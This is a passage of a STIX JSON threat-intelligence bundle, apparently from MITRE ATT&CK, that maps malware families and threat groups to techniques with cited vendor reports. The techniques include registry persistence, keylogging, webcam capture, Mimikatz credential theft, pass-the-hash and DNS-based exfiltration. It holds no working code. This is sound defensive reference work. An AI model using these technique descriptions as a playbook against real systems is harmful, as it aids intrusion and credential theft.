            "source_ref": "malware--198db886-47af-4f4c-bff5-11b891f85946",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c",
            "type": "relationship",
            "modified": "2019-04-16T20:55:20.187Z",
            "created": "2019-01-29T17:59:44.525Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Zhang, X. (2018, April 05). Analysis of New Agent Tesla Spyware Variant. Retrieved November 5, 2018.",
                    "url": "https://www.fortinet.com/blog/threat-research/analysis-of-new-agent-tesla-spyware-variant.html",
                    "source_name": "Fortinet Agent Tesla April 2018"
                },
                {
                    "source_name": "SentinelLabs Agent Tesla Aug 2020",
                    "url": "https://labs.sentinelone.com/agent-tesla-old-rat-uses-new-tricks-to-stay-on-top/",
                    "description": "Walter, J. (2020, August 10). Agent Tesla | Old RAT Uses New Tricks to Stay on Top. Retrieved December 11, 2020."
                }
            ],
            "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) can add itself to the Registry as a startup program to establish persistence.(Citation: Fortinet Agent Tesla April 2018)(Citation: SentinelLabs Agent Tesla Aug 2020) ",
            "id": "relationship--0ecaa94b-3ad8-4de5-9cf2-81069676cfa3",
            "source_ref": "malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "type": "relationship",
            "modified": "2020-12-11T22:38:19.613Z",
            "created": "2019-01-29T18:44:04.954Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Riskiq Remcos Jan 2018",
                    "url": "https://www.riskiq.com/blog/labs/spear-phishing-turkish-defense-contractors/",
                    "description": "Klijnsma, Y. (2018, January 23). Espionage Campaign Leverages Spear Phishing, RATs Against Turkish Defense Contractors. Retrieved November 6, 2018."
                }
            ],
            "description": "[Remcos](https://attack.mitre.org/software/S0332) takes automated screenshots of the infected machine.(Citation: Riskiq Remcos Jan 2018)",
            "id": "relationship--988a0f0f-b3dc-4ff7-8062-29d3975cb897",
            "source_ref": "tool--7cd0bc75-055b-4098-a00e-83dc8beaff14",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688",
            "type": "relationship",
            "modified": "2019-04-19T14:39:53.076Z",
            "created": "2019-01-29T18:55:20.864Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "TrendMicro. (2014, September 03). DARKCOMET. Retrieved November 6, 2018.",
                    "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/DARKCOMET",
                    "source_name": "TrendMicro DarkComet Sept 2014"
                },
                {
                    "description": "Kujawa, A. (2018, March 27). You dirty RAT! Part 1: DarkComet. Retrieved November 6, 2018.",
                    "url": "https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-1-darkcomet/",
                    "source_name": "Malwarebytes DarkComet March 2018"
                }
            ],
            "description": "[DarkComet](https://attack.mitre.org/software/S0334) can disable Security Center functions like anti-virus.(Citation: TrendMicro DarkComet Sept 2014)(Citation: Malwarebytes DarkComet March 2018)",
            "id": "relationship--bf01b245-8a42-4fd3-9b77-ec411336b62d",
            "source_ref": "malware--53ab35c2-d00e-491a-8753-41d35ae7e547",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579",
            "type": "relationship",
            "modified": "2020-03-28T00:53:12.574Z",
            "created": "2019-01-29T19:18:28.814Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://securelist.com/the-epic-turla-operation/65545/",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.",
                    "source_name": "Kaspersky Turla"
                },
                {
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2014, August 06). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroboros. Retrieved November 7, 2018.",
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08080105/KL_Epic_Turla_Technical_Appendix_20140806.pdf",
                    "source_name": "Kaspersky Turla Aug 2014"
                }
            ],
            "description": "[Epic](https://attack.mitre.org/software/S0091) encrypts collected data using a public key framework before sending it over the C2 channel.(Citation: Kaspersky Turla) Some variants encrypt the collected data with AES and encode it with base64 before transmitting it to the C2 server.(Citation: Kaspersky Turla Aug 2014)",
            "id": "relationship--9076865a-8215-4536-bb31-60ab7fa20af6",
            "source_ref": "malware--6b62e336-176f-417b-856a-8552dd8c44e1",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a",
            "type": "relationship",
            "modified": "2020-03-30T02:09:54.935Z",
            "created": "2019-01-29T19:55:48.084Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "DigiTrust NanoCore Jan 2017",
                    "url": "https://www.digitrustgroup.com/nanocore-not-your-average-rat/",
                    "description": "The DigiTrust Group. (2017, January 01). NanoCore Is Not Your Average RAT. Retrieved November 9, 2018."
                },
                {
                    "source_name": "PaloAlto NanoCore Feb 2016",
                    "url": "https://researchcenter.paloaltonetworks.com/2016/02/nanocorerat-behind-an-increase-in-tax-themed-phishing-e-mails/",
                    "description": "Kasza, A., Halfpop, T. (2016, February 09). NanoCoreRAT Behind an Increase in Tax-Themed Phishing E-mails. Retrieved November 9, 2018."
                }
            ],
            "description": "[NanoCore](https://attack.mitre.org/software/S0336) can access the victim's webcam and capture data.(Citation: DigiTrust NanoCore Jan 2017)(Citation: PaloAlto NanoCore Feb 2016)",
            "id": "relationship--1efc9685-b2ab-46fb-91a9-a305d6c1f335",
            "source_ref": "malware--b4d80f8b-d2b9-4448-8844-4bef777ed676",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf",
            "type": "relationship",
            "modified": "2019-04-17T20:47:23.969Z",
            "created": "2019-01-29T20:05:36.501Z"
        },
        {
            "id": "relationship--699ac754-3f3e-46de-9b2a-5ea450ef47fd",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "The executable version of [Helminth](https://attack.mitre.org/software/S0170) has a module to log keystrokes.(Citation: Palo Alto OilRig May 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto OilRig May 2016",
                    "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"
                }
            ],
            "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4",
            "type": "relationship",
            "modified": "2020-03-16T16:55:39.512Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 BadPatch Oct 2017",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/10/unit42-badpatch/",
                    "description": "Bar, T., Conant, S. (2017, October 20). BadPatch. Retrieved November 13, 2018."
                }
            ],
            "description": "[BadPatch](https://attack.mitre.org/software/S0337) captures screenshots in .jpg format and then exfiltrates them.(Citation: Unit 42 BadPatch Oct 2017)",
            "id": "relationship--5249b0e7-878e-44db-9d59-f162067f1852",
            "source_ref": "malware--9af05de0-bc09-4511-a350-5eb8b06185c1",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688",
            "type": "relationship",
            "modified": "2019-04-23T21:17:49.930Z",
            "created": "2019-01-29T21:33:34.655Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "id": "relationship--7a9b075d-4a37-4b89-8643-8b4376b79416",
            "source_ref": "intrusion-set--76565741-3452-4069-ab08-80c0ea95bbeb",
            "relationship_type": "uses",
            "target_ref": "malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8",
            "external_references": [
                {
                    "description": "Unit42. (2016). SILVERTERRIER: THE RISE OF NIGERIAN BUSINESS EMAIL COMPROMISE. Retrieved November 13, 2018.",
                    "url": "https://www.paloaltonetworks.com/apps/pan/public/downloadResource?pagePath=/content/pan/en_US/resources/whitepapers/unit42-silverterrier-rise-of-nigerian-business-email-compromise",
                    "source_name": "Unit42 SilverTerrier 2018"
                }
            ],
            "description": "(Citation: Unit42 SilverTerrier 2018)",
            "type": "relationship",
            "modified": "2019-04-12T16:33:51.221Z",
            "created": "2019-01-29T21:37:00.034Z"
        },
        {
            "id": "relationship--ef3d09dd-b6e8-4858-a2ad-de8b2981dc27",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Honeybee](https://attack.mitre.org/groups/G0072) collects data from the local victim system.(Citation: McAfee Honeybee)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/",
                    "description": "Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.",
                    "source_name": "McAfee Honeybee"
                }
            ],
            "source_ref": "intrusion-set--ebb73863-fa44-4617-b4cb-b9ed3414eb87",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5",
            "type": "relationship",
            "modified": "2020-04-16T19:41:40.642Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Securelist Octopus Oct 2018",
                    "url": "https://securelist.com/octopus-infested-seas-of-central-asia/88200/",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 15). Octopus-infested seas of Central Asia. Retrieved November 14, 2018."
                }
            ],
            "description": "[Octopus](https://attack.mitre.org/software/S0340) collects information on the Windows directory and searches for compressed RAR files on the host.(Citation: Securelist Octopus Oct 2018)",
            "id": "relationship--6d3fee1f-1c19-4ad8-9cd9-e5b00e5b040a",
            "source_ref": "malware--e2031fd5-02c2-43d4-85e2-b64f474530c2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "type": "relationship",
            "modified": "2020-03-17T02:00:34.946Z",
            "created": "2019-01-30T13:24:09.077Z"
        },
        {
            "id": "relationship--3c786b4b-b146-4511-b3ca-65fe7c3521e8",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[JPIN](https://attack.mitre.org/software/S0201) can enumerate Registry keys.(Citation: Microsoft PLATINUM April 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Microsoft PLATINUM April 2016",
                    "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.",
                    "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf"
                }
            ],
            "source_ref": "malware--de6cb631-52f6-4169-a73b-7965390b0c30",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896",
            "type": "relationship",
            "modified": "2020-03-16T16:57:39.011Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET GreyEnergy Oct 2018",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf",
                    "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018."
                }
            ],
            "description": "[GreyEnergy](https://attack.mitre.org/software/S0342) has a module for [Mimikatz](https://attack.mitre.org/software/S0002) to collect Windows credentials from the victim\u2019s machine.(Citation: ESET GreyEnergy Oct 2018)",
            "id": "relationship--fcd9182a-516c-425f-82ec-61cdb0bfc731",
            "source_ref": "malware--308b3d68-a084-4dfb-885a-3125e1a9c1e8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90",
            "type": "relationship",
            "modified": "2020-03-19T22:56:14.310Z",
            "created": "2019-01-30T13:53:14.938Z"
        },
        {
            "id": "relationship--f81274dc-2f5b-47f7-b91f-70a4ebdfde95",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Helminth](https://attack.mitre.org/software/S0170) splits data into chunks up to 23 bytes and sends the data in DNS queries to its C2 server.(Citation: Palo Alto OilRig May 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto OilRig May 2016",
                    "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"
                }
            ],
            "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--c3888c54-775d-4b2f-b759-75a2ececcbfd",
            "type": "relationship",
            "modified": "2020-03-16T16:55:39.519Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--107713b7-97e8-4cd6-8671-b38f86e02ed0",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[KEYMARBLE](https://attack.mitre.org/software/S0271) gathers the MAC address of the victim\u2019s machine.(Citation: US-CERT KEYMARBLE Aug 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "US-CERT KEYMARBLE Aug 2018",
                    "description": "US-CERT. (2018, August 09). MAR-10135536-17 \u2013 North Korean Trojan: KEYMARBLE. Retrieved August 16, 2018.",
                    "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-221A"
                }
            ],
            "source_ref": "malware--11e36d5b-6a92-4bf9-8eb7-85eb24f59e22",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
            "type": "relationship",
            "modified": "2020-03-20T02:14:26.709Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--fa035513-59b6-4f54-8b85-13ec08849453",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "Some [Felismus](https://attack.mitre.org/software/S0171) samples use a custom encryption method for C2 traffic that utilizes AES and multiple keys.(Citation: Forcepoint Felismus Mar 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Forcepoint Felismus Mar 2017",
                    "description": "Somerville, L. and Toro, A. (2017, March 30). Playing Cat & Mouse: Introducing the Felismus Malware. Retrieved November 16, 2017.",
                    "url": "https://blogs.forcepoint.com/security-labs/playing-cat-mouse-introducing-felismus-malware"
                }
            ],
            "source_ref": "malware--196f1f32-e0c2-4d46-99cd-234d4b6befe1",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41",
            "type": "relationship",
            "modified": "2020-03-30T18:52:30.793Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Yan, T., et al. (2018, November 21). New Wine in Old Bottle: New Azorult Variant Found in FindMyName Campaign using Fallout Exploit Kit. Retrieved November 29, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-new-wine-old-bottle-new-azorult-variant-found-findmyname-campaign-using-fallout-exploit-kit/",
                    "source_name": "Unit42 Azorult Nov 2018"
                },
                {
                    "description": "Proofpoint. (2018, July 30). New version of AZORult stealer improves loading features, spreads alongside ransomware in new campaign. Retrieved November 29, 2018.",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/new-version-azorult-stealer-improves-loading-features-spreads-alongside",
                    "source_name": "Proofpoint Azorult July 2018"
                }
            ],
            "description": "[Azorult](https://attack.mitre.org/software/S0344) uses an XOR key to decrypt content and uses Base64 to decode the C2 address.(Citation: Unit42 Azorult Nov 2018)(Citation: Proofpoint Azorult July 2018)",
            "id": "relationship--3733dda5-9dd9-43d1-ac3a-24f1b5fb86e7",
            "source_ref": "malware--f9b05f33-d45d-4e4d-aafe-c208d38a0080",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c",
            "type": "relationship",
            "modified": "2019-07-26T23:22:28.545Z",
            "created": "2019-01-30T15:19:14.930Z"
        },
        {
            "id": "relationship--366c4cf9-7ea1-4751-9415-bcd3a1c52b27",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[ROKRAT](https://attack.mitre.org/software/S0240) uses a keylogger to capture keystrokes and location of where the user is typing.(Citation: Talos ROKRAT)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://blog.talosintelligence.com/2017/04/introducing-rokrat.html",
                    "description": "Mercer, W., Rascagneres, P. (2017, April 03). Introducing ROKRAT. Retrieved May 21, 2018.",
                    "source_name": "Talos ROKRAT"
                }
            ],
            "source_ref": "malware--60a9c2f0-b7a5-4e8e-959c-e1a3ff314a5f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4",
            "type": "relationship",
            "modified": "2020-03-16T17:45:21.738Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Mandiant APT1",
                    "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
                }
            ],
            "description": "[APT1](https://attack.mitre.org/groups/G0006) used the <code>ipconfig /all</code> command to gather network configuration information.(Citation: Mandiant APT1)",
            "id": "relationship--635c959b-acf4-464a-a240-f299f5fea753",
            "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
            "type": "relationship",
            "modified": "2019-08-20T13:08:13.433Z",
            "created": "2019-01-30T15:33:07.616Z"
        },
        {
            "id": "relationship--3bfef472-e4b0-41be-be6b-314400c079cb",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[NanHaiShu](https://attack.mitre.org/software/S0228) can gather information about the victim proxy server.(Citation: Proofpoint Leviathan Oct 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Proofpoint Leviathan Oct 2017",
                    "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets"
                }
            ],
            "source_ref": "malware--705f0783-5f7d-4491-b6b7-9628e6e006d2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
            "type": "relationship",
            "modified": "2020-03-17T01:53:17.519Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "TrendMicro Lazarus Nov 2018",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-continues-heists-mounts-attacks-on-financial-organizations-in-latin-america/",
                    "description": "Trend Micro. (2018, November 20). Lazarus Continues Heists, Mounts Attacks on Financial Organizations in Latin America. Retrieved December 3, 2018."
                }
            ],
            "description": "[AuditCred](https://attack.mitre.org/software/S0347) encrypts the configuration.(Citation: TrendMicro Lazarus Nov 2018)",
            "id": "relationship--f9a34eaa-c17c-400a-b4e0-063445e430af",
            "source_ref": "malware--24b4ce59-eaac-4c8b-8634-9b093b7ccd92",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "type": "relationship",
            "modified": "2020-03-20T16:06:56.367Z",
            "created": "2019-01-30T15:47:41.389Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/",
                    "source_name": "PaloAlto CardinalRat Apr 2017"
                }
            ],
            "description": "[Cardinal RAT](https://attack.mitre.org/software/S0348) applies compression to C2 traffic using the ZLIB library.(Citation: PaloAlto CardinalRat Apr 2017)",
            "id": "relationship--811ad4bc-198d-400a-a5f0-10d0ef856794",
            "source_ref": "malware--b879758f-bbc4-4cab-b5ba-177ac9b009b4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--41868330-6ee2-4d0f-b743-9f2294c3c9b6",
            "type": "relationship",
            "modified": "2020-03-30T01:59:34.938Z",
            "created": "2019-01-30T16:39:54.298Z"
        },
        {
            "id": "relationship--7cb37ba3-3a4b-45e5-974c-e337301e71a2",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Comnie](https://attack.mitre.org/software/S0244) establishes persistence via a .lnk file in the victim\u2019s startup path.(Citation: Palo Alto Comnie)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto Comnie",
                    "description": "Grunzweig, J. (2018, January 31). Comnie Continues to Target Organizations in East Asia. Retrieved June 7, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-comnie-continues-target-organizations-east-asia/"
                }
            ],
            "source_ref": "malware--f4c80d39-ce10-4f74-9b50-a7e3f5df1f2e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179",
            "type": "relationship",
            "modified": "2020-03-17T00:43:32.016Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--24ea53e3-a51f-4c4a-b3de-2e1d09ed69e8",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[PowerDuke](https://attack.mitre.org/software/S0139) has commands to get the current directory name as well as the size of a file. It also has commands to obtain information about logical drives, drive type, and free space.(Citation: Volexity PowerDuke November 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Volexity PowerDuke November 2016",
                    "description": "Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.",
                    "url": "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/"
                }
            ],
            "source_ref": "malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "type": "relationship",
            "modified": "2019-04-22T22:31:38.492Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2015, August 10). Darkhotel's attacks in 2015. Retrieved November 2, 2018.",
                    "url": "https://securelist.com/darkhotels-attacks-in-2015/71713/",
                    "source_name": "Securelist Darkhotel Aug 2015"
                },
                {
                    "source_name": "Microsoft DUBNIUM July 2016",
                    "url": "https://www.microsoft.com/security/blog/2016/07/14/reverse-engineering-dubnium-stage-2-payload-analysis/",
                    "description": "Microsoft. (2016, July 14). Reverse engineering DUBNIUM \u2013 Stage 2 payload analysis . Retrieved March 31, 2021."
                }
            ],
            "description": "[Darkhotel](https://attack.mitre.org/groups/G0012) has decrypted strings and imports using RC4 during execution.(Citation: Securelist Darkhotel Aug 2015)(Citation: Microsoft DUBNIUM July 2016)",
            "id": "relationship--4b3f0b38-d4e2-49e8-a8f9-6a186c31967f",
            "source_ref": "intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c",
            "type": "relationship",
            "modified": "2021-04-22T14:35:25.543Z",
            "created": "2019-01-30T17:43:28.261Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "McAfee Night Dragon",
                    "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.",
                    "url": "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf"
                }
            ],
            "description": "A [Night Dragon](https://attack.mitre.org/groups/G0014) DLL included an XOR-encoded section.(Citation: McAfee Night Dragon)",
            "id": "relationship--7e88dd85-5ade-4622-a6ff-eccd75f020ad",
            "source_ref": "intrusion-set--23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "type": "relationship",
            "modified": "2019-03-25T14:36:29.888Z",
            "created": "2019-01-30T18:02:59.104Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "McAfee Night Dragon",
                    "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.",
                    "url": "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf"
                }
            ],
            "description": "[Night Dragon](https://attack.mitre.org/groups/G0014) used pass-the-hash tools to gain usernames and passwords.(Citation: McAfee Night Dragon)",
            "id": "relationship--36f0a0c9-ccf8-4b82-a9ab-d61d13094b24",
            "source_ref": "intrusion-set--23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8",
